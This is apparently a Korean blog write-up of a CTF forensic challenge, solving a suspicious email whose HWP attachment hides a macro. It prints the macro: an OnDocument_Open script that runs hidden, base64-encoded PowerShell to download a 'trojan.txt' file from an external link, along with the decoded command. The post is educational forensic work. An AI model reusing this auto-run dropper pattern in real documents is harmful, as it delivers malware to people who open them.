Wargame/N0Named Wargame

[N0Named Forensic] [A] 수상한 메일

마띠(쥔장) 2021. 7. 5. 16:46

이런 파일이 주어진다.

'첨부파일' 폴더에는 '제출용.hwp' 파일이 담겨있고, '메일내용.txt'은 아래와 같다. 별 내용은 없어보인다.

한글 파일을 실행하면 스크립트 코드가 포함되어 있다고 하는데

여기서 '실행'을 누르면 보안 경고가 '매우 높음'이어서 실행이 불가능하다고 한다.

그래서 수준을 '보통'으로 낮춰보았다.

그리고 재실행해보면 또 보안 경고가 뜨는데, 오브젝트가 등록되어 있지 않아서 그렇다. 여기서 바로 '실행'을 누르면 오브젝트에 대한 상세한 정보를 보기 어려울 것 같아서 '등록 후 실행'을 눌러 먼저 오브젝트 등록을 해보자.

이제 보안 설정 창의 등록된 오브젝트 탭에서 'Script.Shell' 오브젝트가 보인다.

그런데 스크립트 코드는 오브젝트 등록과는 상관없어 보인다... 보기 > 작업 창 > 스크립트가 맞다는 걸 나중에 깨달았다.

드디어 코드가 보이는데, 

이런 내용이다.

function OnDocument_New()
{
	//todo : 
}

function OnDocument_Open()
{
	try{
	var c = new ActiveXObject("\Script.Shell").Run("powershell.exe -noP -sta -w 1 -enc  KE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwczovL2RyaXZlLmdvb2dsZS5jb20vb3Blbj9pZD0xYUhQS3JjMzhLZ1lpcFlWckR1S3FrWll2OFpnN1ZiWXUnLCAndHJvamFuLnR4dCcpOyAjaSBrbm93Li4gaXQgaXMgd3JvbmcuLiBidXQgdW5kZXJzdGFuZCBpdCBwbHo6KSBnb3RvIG5leHQgc3RlcCBodHRwczovL2RyaXZlLmdvb2dsZS5jb20vb3Blbj9pZD0xYUhQS3JjMzhLZ1lpcFlWckR1S3FrWll2OFpnN1ZiWXU=");
	}catch(err){};
}

'-enc' 뒤를 문자열을 base64 디코딩해보면 이런 문자열이 보인다..^^

(New-Object Net.WebClient).DownloadFile('https://drive.google.com/open?id=1aHPKrc38KgYipYVrDuKqkZYv8Zg7VbYu', 'trojan.txt'); #i know.. it is wrong.. but understand it plz:) goto next step https://drive.google.com/open?id=1aHPKrc38KgYipYVrDuKqkZYv8Zg7VbYu

대충 보니

- 이 링크에 들어가서: https://drive.google.com/open?id=1aHPKrc38KgYipYVrDuKqkZYv8Zg7VbYu

- 이걸 다운받는 식이다: trojan.txt

그럼 직접 들어가보자..

뭔가 알 수 없는 문자열이 쫙 나열돼있다.

의미있는 시그니처도 안보이고.. 해서 인코딩된 문자열이라고 생각했다.

역시 base64 디코딩해보니 바로 0x89504347 ~ -> PNG 시그니처가 보인다.

헥스값 그대로 긁으면 PNG 파일 안에 플래그가 보인다.

728x90